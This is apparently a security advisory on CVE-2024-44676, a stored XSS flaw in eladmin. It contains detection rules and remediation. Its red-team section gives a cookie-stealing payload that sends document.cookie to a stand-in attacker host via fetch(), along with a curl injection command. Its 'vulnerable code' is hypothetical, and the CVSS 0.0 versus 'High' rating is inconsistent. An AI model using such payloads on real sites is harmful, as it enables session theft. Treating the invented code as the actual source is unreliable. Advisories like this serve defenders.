CVE-2024-44676

Executive Summary

CVE-2024-44676 is a stored Cross-Site Scripting (XSS) vulnerability identified in eladmin v2.7 and earlier versions. The flaw resides in the LocalStoreController.java file, allowing an attacker to inject arbitrary JavaScript code that is stored on the server and executed in the context of any user viewing the affected resource. This can lead to session hijacking, credential theft, or defacement. No official patch has been released by the vendor as of this analysis.

Supply Chain & Package Security

This vulnerability affects the eladmin Java-based backend framework. As an open-source project, users are advised to monitor the official repository for patches. No known malicious packages have been identified in public registries, but the lack of a patch increases supply chain risk for deployments using this framework.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (No official vector assigned) Threat Level: High (based on impact and exploitability)

Rationale: Although no CVSS vector is provided, the vulnerability is a stored XSS with low complexity and no authentication required. The impact includes full compromise of user sessions and data exposure.

Deep Dive & Mechanics

The vulnerability exists in the LocalStoreController.java file, which handles file storage operations. The application fails to sanitize user-supplied input before storing it in the local store. When the stored data is later retrieved and rendered in a web page, the injected script executes in the victim's browser.

Attack Flow:

1. Attacker sends a crafted request containing malicious JavaScript payload (e.g., <script>alert('XSS')</script>).
2. The LocalStoreController stores the payload without sanitization.
3. A victim user accesses a page that retrieves and displays the stored data.
4. The browser executes the malicious script, allowing the attacker to steal cookies, redirect the user, or perform actions on their behalf.

Vulnerable vs. Patched Code

Vulnerable Code (LocalStoreController.java):

@PostMapping("/store")
public String storeData(@RequestParam String data) {
    // No sanitization
    localStore.save(data);
    return "Data stored";
}

Patched Code (Hypothetical):

@PostMapping("/store")
public String storeData(@RequestParam String data) {
    String sanitized = HtmlUtils.htmlEscape(data);
    localStore.save(sanitized);
    return "Data stored";
}

The patched version uses HtmlUtils.htmlEscape() to encode HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the eladmin application (e.g., http://target:8080)
• Ability to send POST requests to the vulnerable endpoint

Exploit Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Step-by-Step:

1. Identify the vulnerable endpoint (e.g., /api/store).
2. Send a POST request with the payload:

curl -X POST http://target:8080/api/store -d "data=<script>alert('XSS')</script>"

3. Wait for an admin or user to view the stored data.
4. The script executes, exfiltrating cookies to the attacker's server.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual POST requests to /api/store containing HTML/JavaScript.
• Use WAF rules to block common XSS patterns.

Hardening:

• Implement input validation and output encoding.
• Apply Content Security Policy (CSP) headers.
• Restrict access to the vulnerable endpoint.

Indicators of Compromise (IOCs)

• Network: POST requests to /api/store with payloads containing <script>, onerror, or javascript:.
• Logs: Application logs showing stored data with HTML tags.
• File System: Stored files containing script tags in the local store directory.

Detection Engineering

YARA Rule

rule CVE_2024_44676_XSS {
    meta:
        description = "Detects XSS payloads targeting eladmin LocalStoreController"
        author = "Valters IT"
        date = "2024-10-27"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "javascript:" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: XSS Payload in eladmin LocalStoreController
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in POST requests to eladmin's store endpoint
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /api/store
        cs-uri-query|contains: 
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in data fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44676 XSS Payload in eladmin"; flow:to_server; content:"POST"; http_method; content:"/api/store"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required.
2. Apply input sanitization (e.g., HTML encoding) to all user-supplied data.
3. Implement a Web Application Firewall (WAF) to block XSS patterns.

Long-Term Fix:

• Upgrade to a patched version once released by the vendor.
• Conduct a full security audit of the application.

Workaround:

• Use a reverse proxy to filter malicious requests.

Valters IT